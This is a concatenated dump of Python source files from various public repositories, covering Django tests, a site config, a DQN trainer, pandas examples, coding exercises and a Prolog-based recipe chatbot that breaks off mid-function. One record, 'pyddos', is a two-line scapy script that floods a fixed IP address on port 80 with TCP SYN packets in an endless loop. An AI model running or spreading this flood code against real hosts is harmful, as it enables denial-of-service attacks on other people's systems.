\u8fd9\u91cclocalhost\u52a1\u5fc5\u6362\u6210\u672c\u673aip\u5730\u5740\uff0c\u5426\u5219\u4e00\u822c\u5916\u90e8\u65e0\u6cd5\u8bbf\u95ee\uff01\uff01\uff01\uff01\n HOST, PORT = \"172.20.165.210\", 6887 # \u8fd9\u91cclocalhost\u52a1\u5fc5\u6362\u6210\u672c\u673aip\u5730\u5740\uff0c\u5426\u5219\u4e00\u822c\u5916\u90e8\u65e0\u6cd5\u8bbf\u95ee\uff01\uff01\uff01\uff01\n tcpSerSock = socketserver.ThreadingTCPServer((HOST, PORT), MyTcpHandler)\n tcpSerSock.data = '###'\n print('waiting for connection...')\n\n try:\n tcpSerSock.serve_forever()\n except:\n pass\n finally:\n tcpSerSock.server_close()\n print('Server close')", "source": "Roxbili/kws-demo", "license": "Apache-2.0"} {"text": "from django.template import Context, Template\nfrom django.test import TestCase\nfrom board.models import BoardMember\nimport factory\n\n\ndef render_template(input):\n t = Template(\"{% load board_tags %}\" + input)\n c = Context()\n return t.render(c).strip()\n\n\nclass BoardMemberFactory(factory.Factory):\n title = \"Prof\"\n forename = \"Edgar\"\n surname = \"Dijkstra\"\n\n\nclass BoardMemberTestCase(TestCase):\n def test_unicode(self):\n edgar = BoardMemberFactory()\n self.assertEqual(unicode(edgar), u'Prof Edgar Dijkstra')\n edgar.title = \"\"\n self.assertEqual(unicode(edgar), u'Edgar Dijkstra')\n\n def test_name(self):\n edgar = BoardMemberFactory()\n self.assertEqual(edgar.name(), u'Prof Edgar Dijkstra')\n edgar.title = \"\"\n self.assertEqual(edgar.name(), u'Edgar Dijkstra')\n\n def test_board_assignment_tag(self):\n edgar = BoardMemberFactory.create()\n guido = BoardMemberFactory.create(title=\"\",\n forename=\"Guido\",\n surname=\"van Rossum\",\n email=\"guido@pythoneers.org\")\n\n t = (\"{% board_members as members %}\"\n \"{% for member in members %}\"\n \"{{ member.name }}\"\n \"{% if not forloop.last %}; {% endif %}\"\n \"{% endfor %}\")\n\n self.assertEqual(\"Prof Edgar Dijkstra; Guido van Rossum\",\n render_template(t))\n", "source": "dominicrodger/django-board", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\nimport sys\nimport os\n\n# Add path above so we can access latest release version\nscript_path = os.path.dirname(os.path.realpath(__file__))\nsys.path.insert(0, script_path)\nsys.path.insert(0, os.path.abspath(os.path.join(script_path, '..')))\n\nfrom releases import (get_menpo_releases, get_menpo3d_releases,\n get_menpodetect_releases, get_menpofit_releases)\nLATEST_MENPO_RELEASE = get_menpo_releases()[0][u'tag_name']\nLATEST_MENPO3D_RELEASE = get_menpo3d_releases()[0][u'tag_name']\nLATEST_MENPODETECT_RELEASE = get_menpodetect_releases()[0][u'tag_name']\nLATEST_MENPOFIT_RELEASE = get_menpofit_releases()[0][u'tag_name']\n\n# Avoid having hard coded paths to these files\nTHEME = u'../themes/zurb-F5-basic'\n\nAUTHOR = u'Patrick Snape'\nSITENAME = u'The Menpo Project'\nSITEURL = u'http://menpo.org'\n\nTIMEZONE = u'Europe/London'\n\nDEFAULT_LANG = u'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\n# Blogroll\nLINKS = ()\n\nDEFAULT_PAGINATION = 10\n\n# Uncomment following line if you want document-relative URLs when developing\nRELATIVE_URLS = True\n\nPLUGIN_PATHS = [os.path.join(script_path, u'pelican_plugins')]\nPLUGINS = [u'sitemap', u'share_post']\n\nSITEMAP = {\n u'format': u'xml',\n u'priorities': {\n u'articles': 1.0,\n u'indexes': 0.5,\n u'pages': 1.0\n },\n u'changefreqs': {\n u'articles': u'monthly',\n u'indexes': u'daily',\n u'pages': u'monthly'\n }\n}\n\nGOOGLE_ANALYTICS = u'UA-52093814-1'\n\nPATH = u'../content'\nSTATIC_PATHS = [u'articles/files',\n u'articles/images',\n u'pages/installation/windows/images',\n u'pages/installation/linux/images',\n u'pages/installation/osx/images',\n u'pages/images/team',\n u'pages/images',\n u'pages/paper']\n\nARTICLE_PATHS = [u'articles']\nPAGE_PATHS = [u'pages']\nINDEX_SAVE_AS = u'blog/index.html'\nOUTPUT_PATH = u'../static_website_output'\n\nPAGE_URL = u'{slug}.html'\nPAGE_SAVE_AS = u'{slug}.html'\nPAGE_LANG_URL = u'{slug}-{lang}.html'\nPAGE_LANG_SAVE_AS = u'{slug}-{lang}.html'\n\nARTICLE_URL = u'blog/{date:%Y}/{date:%m}/{slug}/'\nARTICLE_SAVE_AS = u'blog/{date:%Y}/{date:%m}/{slug}/index.html'\nCATEGORIES_SAVE_AS = u'blog/categories.html'\nCATEGORIES_URL = u'blog/categories.html'\nCATEGORY_URL = u'blog/category/{slug}.html'\nCATEGORY_SAVE_AS = u'blog/category/{slug}.html'\nTAG_URL = u'blog/tag/{slug}.html'\nTAG_SAVE_AS = u'blog/tag/{slug}.html'\nTAGS_URL = u'blog/tags.html'\nTAGS_SAVE_AS = u'blog/tags.html'\nAUTHOR_URL = u'blog/author/{slug}.html'\nAUTHOR_SAVE_AS = u'blog/author/{slug}.html'\nAUTHORS_URL = u'blog/authors.html'\nAUTHORS_SAVE_AS = u'blog/authors.html'\nARCHIVES_SAVE_AS = u'blog/archives.html'\n\nSUMMARY_MAX_LENGTH = 100\n", "source": "menpo/website", "license": "BSD-3-Clause"} {"text": "import torch\nimport copy\n\nfrom noge.data_types import ReplayBatch, TrainingBatch, InferenceSample\nfrom noge.trainers.base_trainer import Trainer\n\n\nclass DQNTrainer(Trainer):\n def __init__(self, gamma, target_update_freq, replay_buffer, batch_size, network, preprocessor,\n criterion, optimizer, scheduler=None, device='cpu'):\n super().__init__(replay_buffer, batch_size, network, preprocessor, criterion, optimizer, scheduler, device)\n\n self.gamma = gamma\n self.target_update_freq = target_update_freq\n self.target_net = copy.deepcopy(network).to(self.device)\n self.target_net.eval()\n\n def preprocess_batch(self, batch: ReplayBatch) -> TrainingBatch:\n # preprocess list of dicts\n graph_obses = [self.graph_obs_fn(graph_obs) for graph_obs in batch.graph_obses]\n next_graph_obses = [self.graph_obs_fn(graph_obs) for graph_obs in batch.next_graph_obses]\n\n # most arrays can be directly moved to torch\n measurements = self.preprocessor.transform_meas(batch.measurements)\n next_measurements = self.preprocessor.transform_meas(batch.next_measurements)\n\n actions = torch.from_numpy(batch.actions).to(self.device)\n rewards = torch.from_numpy(batch.rewards).to(self.device)\n mask = torch.from_numpy(batch.mask).to(self.device)\n\n # make training batch as defined in data protocol\n train_batch = TrainingBatch(graph_obses=graph_obses,\n measurements=measurements,\n actions=actions,\n rewards=rewards,\n next_graph_obses=next_graph_obses,\n next_measurements=next_measurements,\n goals=None,\n mask=mask)\n\n return train_batch\n\n def step(self, batch_size=None):\n\n B = batch_size or self.batch_size\n replay_batch: ReplayBatch = self.replay_buffer.sample(B)\n train_batch: TrainingBatch = self.preprocess_batch(replay_batch)\n\n self.network.train()\n q_sa = self.network(train_batch) # [B, 1]\n\n q_next = []\n with torch.no_grad():\n for go, meas in zip(train_batch.next_graph_obses, train_batch.next_measurements):\n sample = InferenceSample(graph_obs=go, meas=meas.unsqueeze(0), goal=None)\n q_next_i = self.target_net(sample) # [N_i, 1]\n q_next.append(q_next_i.max(0)[0])\n\n q_next = torch.cat(q_next) # [B,]\n q_next = train_batch.mask * q_next # [B,]\n\n q_target = train_batch.rewards + self.gamma * q_next # [B,]\n\n loss = self.criterion(q_sa, q_target.reshape(B, 1))\n\n # do gradient step\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n if self.scheduler is not None:\n self.scheduler.step()\n\n # log stats\n self.train_metrics.append(dict(q_loss=loss.item()))\n self.num_train_steps += 1\n\n if self.num_train_steps % self.target_update_freq == 0:\n self.target_net.load_state_dict(self.network.state_dict())\n", "source": "johny-c/noge", "license": "MIT"} {"text": "import nose\nimport solution\n\n\ndef test_solution():\n t1 = [[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]]\n result = solution.Solution().islandPerimeter(t1)\n expected = 16\n assert result == expected\n", "source": "pterodragon/programming", "license": "MIT"} {"text": "from .errors import (IDConflictError, ListenerNotConnectedError,\n ProviderNotRegisteredError)\nfrom .i_selection import ISelection, IListSelection\nfrom .i_selection_provider import ISelectionProvider\nfrom .list_selection import ListSelection\nfrom .selection_service import SelectionService\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "class Node:\n\n def __init__(self, data):\n self.left = None\n self.right = None\n self.data = data\n\n def print_tree(self):\n if self.left:\n self.left.print_tree()\n print(self.data),\n if self.right:\n self.right.print_tree()\n\n\ndef min_num(node):\n current = node\n if current:\n while current.left is not None:\n print(\"current.left:\", current.left.data)\n current = current.left\n print(\"current\", current.data)\n return current.data\n\n\nroot = Node(12)\nroot.left = Node(11)\nroot.left.left = Node(10)\nroot.left.left.left = Node(8)\nroot.left.right = Node(14)\nroot.right = Node(18)\nroot.right.right = Node(20)\nroot.right.left = Node(15)\n\nroot.print_tree()\n\nprint(\"minimum number in tree is %d\" % (min_num(root)))\n", "source": "dipsuji/Phython-Learning", "license": "Apache-2.0"} {"text": "from rpy2.robjects import r\nfrom rpy2.robjects.packages import importr\n\nvars = importr('vars')\nurca = importr('urca')\n\nclass RVAR(object):\n pass\n\nif __name__ == '__main__':\n r.data(\"Canada\")\n can = r['Canada']\n p1ct = r('p1ct <- VAR(Canada, p=1, type=\"both\")')\n coefs = r('coefs <- coef(p1ct)')\n\n ecoef = coefs.rx2('e')\n\n # summary(Canada)\n\n # plot(Canada, nc=2, xlab=\"\")\n\n # adf1 <- summary(ur.df(Canada[, \"prod\"], type = \"trend\", lags = 2))\n # adf1\n\n # adf2 <- summary(ur.df(diff(Canada[, \"prod\"]), type = \"drift\", lags = 1))\n # adf2\n\n # VARselect(Canada, lag.max = 8, type = \"both\")\n\n # Canada <- Canada[, c(\"prod\", \"e\", \"U\", \"rw\")]\n\n # p1ct <- VAR(Canada, p = 1, type = \"both\")\n # p1ct\n\n # coefs <- coef(p1ct)\n # class(coefs)\n\n", "source": "willgrass/pandas", "license": "BSD-3-Clause"} {"text": "import pandas as pd\r\n\r\n# Create ExcelFile\r\nexcel_file = pd.ExcelFile('stackoverflow.xlsx')\r\ntype(excel_file)\r\nexcel_file.sheet_names\r\n\r\n# Parse into DataFrame\r\nexcel_df = excel_file.parse()\r\ntype(excel_df)\r\nexcel_df.head()\r\nexcel_df\r\n\r\n# Or use pandas directly to load worksheet, with read_excel\r\nposts_excel = pd.read_excel('stackoverflow-one.xlsx')\r\ntype(posts_excel)\r\ndir(posts_excel)\r\nposts_excel.columns\r\nposts_excel.head()\r\npd.read_excel('stackoverflow-one.xlsx', usecols=[0, 3]).columns\r\npd.read_excel('stackoverflow-one.xlsx', usecols='A:C').columns\r\npd.read_excel('stackoverflow-one.xlsx', usecols='A,C').columns\r\n\r\n# Get a dict of worksheets\r\nexcel_file.sheet_names\r\nposts_dict = pd.read_excel('stackoverflow.xlsx',sheet_name=None)\r\ntype(posts_dict)\r\nposts_dict.keys()\r\nposts_dict['Posts'].head()\r\n\r\n# Different ways of getting the data you need\r\nposts_dict['Users'].head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users').head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9)).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name=2).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9)).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9),skiprows=4).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9),nrows=2).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9)).dtypes\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', usecols=range(1,9), dtype={'PostTypeId': str}).dtypes\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Users', converters={'Id': lambda x: x + 1000}).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Posts', usecols=[0,7,8]).head()\r\npd.read_excel('stackoverflow.xlsx',sheet_name='Posts', usecols=[0,7,8], keep_default_na=False).head()\r\n\r\n\r\n\r\n", "source": "nadimtech/PythonETL", "license": "MIT"} {"text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n#from django.conf.urls.defaults import *\nfrom django.conf.urls import *\nfrom django.contrib import admin\nfrom django.conf import settings\n#from django.views.generic.simple import direct_to_template\nfrom django.views.generic import TemplateView\nfrom django.views.generic import RedirectView\n#from django.contrib.auth.views import login, logout\n\n\nadmin.autodiscover()\n#print('\\n before urls in general')\nurlpatterns =[\n url(r'^admin/', admin.site.urls),\n url(r'^eisearch/', include('structure_search.urls')),\n url(r'^structure_search/', include('structure_search.urls')),\n url(r'^accounts/', include('userena.urls')),\n url(r'^compounds/', include('compounddb.urls')),\n url(r'^my[Cc]ompounds/', include('myCompounds.urls')),\n url(r'^tools/', include('tools.urls')),\n url(r'^drugbank/', include('drugbank.urls')),\n url(r'^search/?', RedirectView.as_view(url='/structure_search/query/')), \n url(r'^similarity/', include('similarity.urls')),\n url(r'^ChemmineR/', include('ChemmineR.urls')),\n url(r'^robots\\.txt/?$', TemplateView.as_view(template_name='robots.txt')),\n url(r'^ei/?', RedirectView.as_view(url='/downloads/')), \n url(r'^targetsearch/', include('targetsearch.urls')),\n url(r'^', include('cms.urls')),\n ]\n#print('\\n after urls in general')\nif settings.DEBUG:\n import django\n urlpatterns = [url(r'^working/(?P.*)$',\n django.views.static.serve,\n {'document_root': settings.MEDIA_ROOT,\n 'show_indexes': False}), \n url(r'', include('django.contrib.staticfiles.urls'))\n ] + urlpatterns\n", "source": "TylerBackman/chemminetools", "license": "BSD-4-Clause-UC"} {"text": "# Algorithm: \n# This pattern is an observational one. For eg, if n = 3\n# 3 3 3 3 3\n# 3 2 2 2 3\n# 3 2 1 2 3\n# 3 2 2 2 3\n# 3 3 3 3 3\n# The no. of columns and rows are equal to (2 * n - 1).\n# The first (n - 1) and last (n - 1) rows can easily be printed using nested for loops\n# The middle row can be implemented using a single for loop\n\n\n# Input\nn = int(input())\n\n# To print the first (n - 1) rows\nfor i in range(1 , n):\n temp = n\n for j in range(1 , n):\n if(j <= i and j != 1):\n temp -= 1\n print(temp , end = \" \")\n print(temp , end = \" \")\n for j in range(1 , n):\n if(j >= n - i + 1):\n temp += 1\n print(temp , end = \" \")\n print(\"\")\n\n# To print the first half of the middle row\ntemp = n\nfor i in range(1 , n):\n print(temp , end = \" \")\n temp -= 1\n\n# To print the middle element of the middle row\nprint(\"1\" , end = \" \")\n\n# To print the last half of the middle row\nfor i in range(1 , n):\n temp += 1\n print(temp , end = \" \")\nprint(\"\")\n\n# To print the last (n - 1) rows\nm = 1\nfor i in range(n - 1 , 0 , -1):\n temp = n\n for j in range(1 , n):\n if(j <= i and j != 1):\n temp -= 1\n print(temp , end = \" \")\n print(temp , end = \" \")\n for j in range(1 , n):\n if(j >= m + 1):\n temp += 1\n print(temp , end = \" \")\n print(\"\")\n m += 1\n", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"} {"text": "from scapy.all import *\n\n\np=IP( dst='10.50.0.59')/TCP(flags=\"S\", sport=RandShort(), dport=int(80))\nsend(p, verbose=1, loop=1)\n\n", "source": "ep4sh/pyddos", "license": "MIT"} {"text": "from .newspaper_extractor import NewspaperExtractor\n\n\nclass NewspaperExtractorNoImages(NewspaperExtractor):\n def _article_kwargs(self):\n return {\"fetch_images\": False}\n", "source": "freedmand/news-please", "license": "Apache-2.0"} {"text": "from typing import Dict, List, Optional, Tuple\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import rankdata\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom tabular_dataset.transformations.common import add_imputed_columns\nfrom tabular_dataset.transformations.decorator import transformation\n\n\n@transformation\ndef impute(df: pd.DataFrame, columns: List[str], impute_values: List[float],\n method: Optional[str] = None, fit: bool = True,\n add_columns: bool = False) -> pd.DataFrame:\n if fit:\n if not method:\n raise ValueError(\"'method' has to be specified when fitting\")\n if impute_values:\n raise ValueError(\"'impute value' argument cannot be used when \" +\n \"fitting\")\n\n if method == 'median':\n impute_values.extend(df.median())\n elif method == 'mean':\n impute_values.extend(df.mean())\n elif method == 'zero':\n impute_values.append(0)\n else:\n raise ValueError(\"Method not supported\")\n else:\n if method:\n pass # TODO: Print warning instead\n # raise ValueError(\"'method' argument cannot be used when fitting\")\n if not impute_values:\n raise ValueError(\"'impute value' has to be specified when fitting\")\n\n if add_columns:\n add_imputed_columns(df, columns)\n\n df[columns] = df[columns].fillna(impute_values[0]\n if len(impute_values) == 1\n else impute_values)\n return df\n\n\n@transformation\ndef scale(df: pd.DataFrame, columns: List[str],\n scalers: List[MinMaxScaler], fit: bool) -> pd.DataFrame:\n scaler = scalers[0]\n if fit:\n scaler = MinMaxScaler()\n df[columns] = scaler.fit_transform(df[columns])\n scalers[0] = scaler\n else:\n if scaler is None:\n raise ValueError(\"Scaler has to be fit first\")\n df[columns] = scaler.transform(df[columns])\n return df\n\n\n@transformation\ndef normalize(df: pd.DataFrame, columns: List[str],\n stats: Dict[str, Tuple[float, float]], fit: bool) \\\n -> pd.DataFrame:\n for column_name in columns:\n if fit:\n column_stats = df[column_name].mean(), df[column_name].std()\n stats[column_name] = column_stats\n else:\n column_stats = stats[column_name]\n mean, std = column_stats\n df[column_name] = (df[column_name] - mean) / std\n return df\n\n\n@transformation\ndef log(df: pd.DataFrame, columns: List[str]) -> pd.DataFrame:\n \"\"\"Apply log-transformation to numerical columns.\n\n By defintion of the log operation, no negative values are supported.\n A 1 is added to all values to make the transform work for 0 values as well.\n \"\"\"\n df[columns] = df[columns].apply(lambda x: np.log(1 + x))\n return df\n\n\n@transformation\ndef power(df: pd.DataFrame, columns: List[str], exponent: int) -> pd.DataFrame:\n \"\"\"Apply power-transformation to numerical columns.\"\"\"\n df[columns] = df[columns].apply(lambda x: np.power(x, exponent))\n return df\n\n\n@transformation\ndef add_ranks(df: pd.DataFrame, columns: List[str],\n method: Optional[str] = 'average') -> pd.DataFrame:\n \"\"\"Assign ranks to data, dealing with ties appropriately.\n\n Args:\n method: The method used to assign ranks to tied elements. The options\n are \u2018average\u2019, \u2018min\u2019, \u2018max\u2019, \u2018dense\u2019 and \u2018ordinal\u2019:\n\n \u2018average\u2019: The average of the ranks that would have been assigned\n to all the tied values is assigned to each value.\n\n \u2018min\u2019: The minimum of the ranks that would have been assigned to\n all the tied values is assigned to each value. (This is also\n referred to as \u201ccompetition\u201d ranking.)\n\n \u2018max\u2019: The maximum of the ranks that would have been assigned to\n all the tied values is assigned to each value.\n\n \u2018dense\u2019: Like \u2018min\u2019, but the rank of the next highest element is\n assigned the rank immediately after those assigned to the tied\n elements.\n\n \u2018ordinal\u2019: All values are given a distinct rank, corresponding to\n the order that the values occur in a.\n\n The default is \u2018average\u2019.\n \"\"\"\n for column_name in columns:\n df[column_name + '_rank'] = rankdata(df[column_name], method=method)\n return df\n\n\n@transformation\ndef remove_outliers(df: pd.DataFrame, columns: List[str],\n lower_percentile: int = 1, upper_percentile: int = 99) \\\n -> pd.DataFrame:\n \"\"\"Removes outliers below and above given percentiles.\n\n Technically, instead of removing the values, they are replaced by an upper\n or lower bound.\n\n TODO: Right now, bounds for train and test sets are calculated separately.\n Instead, remember the bounds from training so that they can be\n re-used during test time, similar to `stats` for `normalize`.\n \"\"\"\n for column_name in columns:\n lower_bound, upper_bound = np.percentile(df[column_name],\n [lower_percentile,\n upper_percentile])\n df[column_name] = np.clip(df[column_name], lower_bound, upper_bound)\n return df\n", "source": "floscha/tabular-dataset", "license": "MIT"} {"text": "from allauth.account.adapter import DefaultAccountAdapter\nfrom django.forms import ValidationError\nfrom rest_framework.authentication import TokenAuthentication\nfrom oauth2_provider.contrib.rest_framework import OAuth2Authentication\nfrom oauth2_provider.backends import OAuth2Backend, get_oauthlib_core\nfrom oauth2_provider.models import AccessToken\n# from oauth2_provider.settings import ACCESS_TOKEN_MODEL\n\n\nclass TokenAuthSupportQueryString(OAuth2Authentication):\n \"\"\"\n Extend the TokenAuthentication class to support querystring authentication\n in the form of \"http://www.example.com/?authToken=\"\n \"\"\"\n def authenticate(self, request):\n\n # Check if 'authToken' is in the request query params.\n # Give precedence to 'Authorization' header.\n # if 'authToken' in request.query_params and 'HTTP_AUTHORIZATION' not in request.META:\n if 'authToken' in request.query_params:\n if(AccessToken.objects.filter(token=request.query_params.get('authToken')).exists()):\n access_token = AccessToken.objects.get(token=request.query_params.get('authToken'))\n return access_token.user, access_token\n else:\n return super(TokenAuthSupportQueryString, self).authenticate(request)\n\n\n# class TokenAuthSupportQueryString(TokenAuthentication):\n# \"\"\"\n# Extend the TokenAuthentication class to support querystring authentication\n# in the form of \"http://www.example.com/?authToken=\"\n# \"\"\"\n# def authenticate(self, request):\n# # Check if 'token_auth' is in the request query params.\n# # Give precedence to 'Authorization' header.\n# if 'authToken' in request.query_params and 'HTTP_AUTHORIZATION' not in request.META:\n# return self.authenticate_credentials(request.query_params.get('authToken'))\n# else:\n# return super(TokenAuthSupportQueryString, self).authenticate(request)\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "from .towers_of_hanoi import towers_of_hanoi as th\nfrom .towers_of_hanoi import steps\nimport pytest\n\n\ndef test_empty_th():\n \"\"\"test if input empty\"\"\"\n assert th(0, '', '', '') is None\n\n\n# def test_th_1():\n# \"\"\" verify works with one disk \"\"\"\n# assert len(list(steps(3))) == 3\n\n# def test_th_5():\n# \"\"\" verify works with one disk \"\"\"\n# assert len(list(th(5))) == 5\n\n\n# def test_th_11():\n# \"\"\" verify works with one disk \"\"\"\n# assert len(list(th(11))) == 11\n", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"} {"text": "from django.conf.urls import url\nfrom .views import list\n\n\nurlpatterns = [\n url('^$', list),\n]\n", "source": "Namibnat/pynam_workshop1", "license": "MIT"} {"text": "import wx\nimport requests\nimport re\nimport json\nimport frame\nfrom pyswip import Prolog\n\n# Helper function to enumerate all options and return them as dict and list\ndef list_to_dict(lst):\n d = {}\n l = list(set(lst))\n\n for i in range(len(l)):\n d[i] = l[i]\n\n return d, l\n\n\nclass MainFrame(frame.botframe):\n def __init__(self):\n frame.botframe.__init__(self, None)\n\n # Start with a welcome message\n self.chat_window.AppendText(\"BOT: Hello, I am FoodBot! I will help you to find your next recipe.\\n\")\n\n # Download json with receipes data and initialize Prolog KB\n self.recipes = self.download_recipes()\n self.prolog = self.initialize_prolog()\n\n # Placeholder for user choices\n self.cu = None\n self.ing = None\n self.effort = None\n self.course = None\n self.goal = None\n self.calories = None\n self.diet = None\n\n # Ask first Question\n self.current_question = 0\n self.prepare_question()\n\n self.goal_choices = []\n\n\n def download_recipes(self):\n recipes = []\n\n # get data\n r = requests.get(\n \"https://gist.githubusercontent.com/pierre-minerva/70bccece0820fa839b53c264cc7460a3/raw/8c7afccd58cf78b42b99ceb0927025896ea108fa/recipe_data.json\")\n # Save db\n with open('recipes.json', 'wb') as f:\n f.write(r.content)\n\n # process data\n with open('recipes.json') as f:\n for jsonObj in f:\n recipesDict = json.loads(jsonObj)\n recipes.append(recipesDict)\n\n return recipes\n\n def initialize_prolog(self):\n prolog = Prolog()\n\n # Adding of data to KB\n for recipe in self.recipes:\n # recipe\n title = recipe['page']['title']\n # diet\n for diet in recipe['page']['recipe']['diet_types']:\n prolog.assertz(f\"diet('{title}','{diet}')\")\n # protein\n protein = int(re.search(r'\\d+', self.recipes[0]['page']['recipe']['nutrition_info'][2]).group())\n prolog.assertz(f\"protein('{title}',{protein})\")\n # calories\n calories = int(re.search(r'\\d+', self.recipes[0]['page']['recipe']['nutrition_info'][1]).group())\n prolog.assertz(f\"calories('{title}',{calories})\")\n # time\n total_time = (recipe['page']['recipe']['cooking_time'] + self.recipes[0]['page']['recipe']['prep_time']) // 60\n prolog.assertz(f\"time('{title}',{total_time})\")\n # effort\n skill_level = recipe['page']['recipe']['skill_level']\n prolog.assertz(f\"effort('{title}','{skill_level}')\")\n # type\n for course in recipe['page']['recipe']['courses']:\n prolog.assertz(f\"course('{title}','{course}')\")\n # ingredients\n for ing in recipe['page']['recipe']['ingredients']:\n prolog.assertz(f\"ing('{title}','{ing}')\")\n # cuisine\n cuisine = recipe['page']['recipe']['cusine']\n prolog.assertz(f\"cuisine('{title}','{cuisine}')\")\n # recipe\n prolog.assertz(\n f\"recipe('{title}','{diet}',{protein},{calories},{total_time},'{skill_level}','{course}','{ing}','{cuisine}' )\")\n\n prolog.assertz(\"more(X,Y) :- X @> Y\")\n\n # Q1\n prolog.assertz(\"diet(D)\")\n\n # Q2\n prolog.assertz(\"goal(G)\")\n\n # Q3\n prolog.assertz(\"protein(R) :- goal('Nutrition'); protein(R,P); more(P,20)\")\n\n # Q6\n # if loss then no dessert\n\n prolog.assertz(\"recipe2(R,D,Ci,Ti,E,Co,I,Cu)\")\n prolog.assertz(\n \"recipe2(R,D,Ci,Ti,E,Co,I,Cu) :- recipe(R,D,P,C,T,E,Co,I,Cu); more(T,Ti); goal('Weight-Loss'); more(Ci,C); dif(Co,'Dessert')\")\n prolog.assertz(\n \"recipe2(R,D,Ci,Ti,E,Co,I,Cu) :- recipe(R,D,P,C,T,E,Co,I,Cu); more(T,Ti); goal('Weight-Gain'); more(C,Ci); dif(Co,'Snack')\")\n prolog.assertz(\n \"recipe2(R,D,Ci,Ti,E,Co,I,Cu) :- recipe(R,D,P,C,T,E,Co,I,Cu); more(T,Ti); goal('Nutrition'); more(P,20); dif(Co,'Dessert')\")\n prolog.assertz(\"recipe2(R,D,Ci,Ti,E,Co,I,Cu) :- recipe(R,D,P,C,T,E,Co,I,Cu); more(T,Ti); goal('Pleasure')\")\n return prolog\n\n def prepare_question(self):\n self.current_question += 1\n\n # IF Q1\n if self.current_question == 1:\n diets = []\n\n # Get all responses from Prolog\n for soln in self.prolog.query(\"diet(R,D)\"):\n if \"_\" not in str(soln[\"D\"]):\n diets.append(str(soln[\"D\"]))\n\n diets_dict, diets_lst = list_to_dict(diets)\n self.chat_window.AppendText(\"BOT: Do you have any dietary preferences?\\n\")\n # Update option in SelectBox\n self.listbox_options.Set(diets_lst)\n\n # IF Q2\n elif self.current_question == 2:\n choices = [\"Weight-Loss\", \"Weight-Gain\", \"Nutrition\", \"Pleasure\"]\n self.chat_window.AppendText(\"BOT: What is your dietary goal?\\n\")\n self.listbox_options.Set(choices)\n elif self.current_question == 3:\n # Show this question only if \"Weight-Loss\" or \"Weight-Gain\", else skip\n if \"Weight-Loss\" in self.goal_choices or \"Weight-Gain\" in self.goal_choices:\n self.chat_window.AppendText(\"BOT: What are your target calories?\\n\")\n self.edit_number.Show()\n self.listbox_options.Hide()\n self.listbox_options.GetParent().Layout()\n else:\n self.prepare_question()\n\n # Q4\n elif self.current_question == 4:\n self.chat_window.AppendText(\"BOT: How many minutes do you have to make the food?\\n\")\n self.edit_number.SetValue(30)\n self.edit_number.Show()\n self.listbox_options.Hide()\n self.listbox_options.GetParent().Layout()\n\n # Q5\n elif self.current_question == 5:\n effort = []\n for soln in self.prolog.query(\n f\"recipe2(R,'{self.diet}',{self.calories},{self.time},E,Co,I, Cu)\"):\n if \"_\" not in str(soln[\"E\"]):\n effort.append(str(soln[\"E\"]))\n effort_dict, effort_lst = list_to_dict(effort)\n self.chat_window.AppendText(\"BOT: How much effort do you want to put in?\\n\")\n self.listbox_options.Set(effort_lst)\n\n # Q6\n elif self.current_question == 6:\n course = []\n for soln in self.prolog.query(\n f\"recipe2(R,'{self.diet}',{self.calories},{self.time},'{self.effort}',Co,I, Cu)\"):\n if str(soln[\"Co\"]) in [\"Snack\", \"Main course\", \"Dessert\", \"Breakfast\"]:\n course.append(str(soln[\"Co\"]))\n effort_dict, effort_lst = list_to_dict(course)\n self.chat_window.AppendText(\"BOT: What course would you like?\\n\")\n self.listbox_options.Set(effort_lst)\n\n # Q7\n elif self.current_question == 7:\n ing = []\n\n for soln in self.prolog.query(\n f\"recipe2(R,'{self.diet}',{self.calories},{self.time},'{self.effort}','{self.course}',I, Cu)\"):\n if \"_\" not in str(soln[\"I\"]):\n ing.append(str(soln[\"I\"]))\n\n ing_dict, ing_lst = list_to_dict(ing)\n self.chat_window.AppendText(\"BOT: Which of these remaining ingredients would you like to be in your meal?\\n\")\n self.listbox_options.Set(ing_lst)\n\n # Q8\n elif self.current_question == 8:\n cuisine = []\n\n for soln in self.prolog.query(\n f\"recipe2(R,'{self.diet}',{self.calories},{self.time},'{self.effort}','{self.course}','{self.ing}', Cu)\"):\n if \"_\" not in str(soln[\"Cu\"]):\n cuisine.append(str(soln[\"Cu\"]))\n\n cuisine_dict, cuisine_lst = list_to_dict(cuisine)\n self.chat_window.AppendText(\"BOT: What cuisine do you want?\\n\")\n self.listbox_options.Set(cuisine_lst)\n\n # Time to make a final decission\n elif self.current_question == 9:\n self.make_decission()\n\n\n if self.listbox_options.GetCount() ==0:\n self.chat_window.AppendText(\"BOT: Unfortunately, we haven\u00b4t found any available receipe for you. Please try again with different answers.\\n\")\n\n # If there is only one option available, select it automatically\n if self.listbox_options.GetCount() == 1:\n self.btn_sendOnButtonClick(None,0)\n\n\n def btn_sendOnButtonClick( self, event, selected=None):\n \"\"\"\n Evaluate selected answer and send it to Prolog\n \"\"\"\n if selected is not None:\n self.listbox_options.SetSelection(selected)\n selected = self.listbox_options.GetStringSelection()\n selected = [selected]\n if len(selected)==0 and self.current_question not in [3]:\n wx.MessageBox(\"Please select at least 